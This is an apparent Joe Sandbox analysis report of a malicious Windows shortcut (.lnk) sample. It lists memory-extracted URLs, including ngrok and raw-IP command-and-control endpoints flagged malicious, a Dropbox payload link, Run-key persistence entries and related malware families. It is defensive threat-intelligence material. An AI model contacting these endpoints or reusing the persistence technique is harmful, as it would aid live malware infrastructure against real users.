https://dl-web.dropbox.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7eU	powershell.exe, 00000002.00000002.1991500031.000001B0E0BDC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6692	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com/cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j	powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com	powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/pithos/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd	powershell.exe, 00000014.00000002.2174936973.0000022EC6E20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.com/	msedge.exe, 00000004.00000002.1956398825.000038B0024D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2117999261.00000D100035C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxokernelbasentdllkernel32GetProces	fontdrvhost.exe, 0000001F.00000003.2437351985.0000000005804000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7eX	powershell.exe, 00000014.00000002.2178721776.0000022EC9201000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docsend.com/	powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7604	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com	powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5901	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7406	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.65.15	unknown	United States	19679	DROPBOXUS	false
23.33.40.135	unknown	United States	20940	AKAMAI-ASN1EU	false
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
3.6.122.107	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app	United States	16509	AMAZON-02US	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
162.213.210.250	unknown	United States	53755	IOFLOODUS	true

Private

IP
192.168.2.17
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576187
Start date and time:	2024-12-16 16:13:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KjECqzXLWp.lnk renamed because original name is a hash value
Original Sample Name:	10f48fb5d22c80c966c8b51516ecdb712130d96342fe56453ae38b613c57394c.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@92/363@22/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.19.238, 13.107.6.158, 2.20.68.201, 23.32.239.56, 23.32.239.18, 2.16.158.40, 2.16.158.58, 2.16.158.74, 2.16.158.82, 2.16.158.80, 2.16.158.56, 2.16.158.43, 2.16.158.51, 2.16.158.75, 20.82.9.214, 23.218.208.109, 192.229.221.95, 23.32.238.73, 2.19.198.203, 13.87.96.169, 52.168.117.173, 199.232.214.172, 2.16.158.186, 2.16.158.169, 2.16.158.176, 2.16.158.96, 2.16.158.179, 2.16.158.83, 2.16.158.91, 2.16.158.90, 23.200.0.10, 23.200.0.22, 23.200.0.25, 23.200.0.31, 23.200.0.28, 23.200.0.33, 142.250.72.99, 142.251.40.99, 142.250.65.195, 20.109.210.53, 20.190.177.149, 13.107.246.63, 13.107.246.40, 172.183.192.109, 142.251.40.106, 23.200.0.6, 13.107.22.239
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, onedsblobprdeus16.eastus.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, edgeassetservice.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, www.gstatic.com, l-0007.l-msedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, fs.microsoft.com, prod-atm-wds-edge.trafficmanager.net, www.googleapis.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, blobcollector.events.data.trafficmanager.net, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, a1847.dscd.akamai.net, config.edge.skype.com.trafficmanager.net, fs-wildcard.mic
Execution Graph export aborted for target 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, PID 8116 because there are no executed function
Execution Graph export aborted for target 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, PID 9780 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 9664 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7556 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9196 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: KjECqzXLWp.lnk

Simulations

Behavior and APIs

Time	Type	Description
10:14:05	API Interceptor	221x Sleep call for process: powershell.exe modified
10:14:19	API Interceptor	2x Sleep call for process: svchost.exe modified
10:15:22	API Interceptor	1x Sleep call for process: WerFault.exe modified
15:14:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
15:14:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
15:15:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run EnuinaPerfecto C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe
15:15:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run EnuinaPerfecto C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.65.15	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	pay.bat	Get hash	malicious	Kimsuky	Browse
	protected.ps1	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADw7QsXXUEgtGMTkaD6s_noiLvCBcZslDg/downloading	Get hash	malicious	Unknown	Browse
	35N4PXWcmC.msi	Get hash	malicious	Unknown	Browse
23.33.40.135	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
23.33.40.135	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
162.125.69.18	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
162.125.69.15	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	199.232.214.172
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	EgnyteDesktopApp_3.17.1_144.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
edge-block-www-env.dropbox-dns.com	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	162.125.69.15
chrome.cloudflare-dns.com	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.64.41.3
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	AyqwnIUrcz.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	Uniswap Sniper Bot With GUI.exe	Get hash	malicious	Unknown	Browse	172.64.41.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	23.33.40.153
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.234.222.138
	https://login.corp-internal.org/17058d3d8656ed69?l=27	Get hash	malicious	Unknown	Browse	2.16.158.75
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	23.209.72.33
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	104.126.36.32
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	23.55.153.106
	mips.elf	Get hash	malicious	Unknown	Browse	204.237.205.123
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	95.100.100.165
	bot.x86.elf	Get hash	malicious	Mirai	Browse	95.100.100.171
	bot.mpsl.elf	Get hash	malicious	Mirai	Browse	95.100.100.142
DROPBOXUS	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
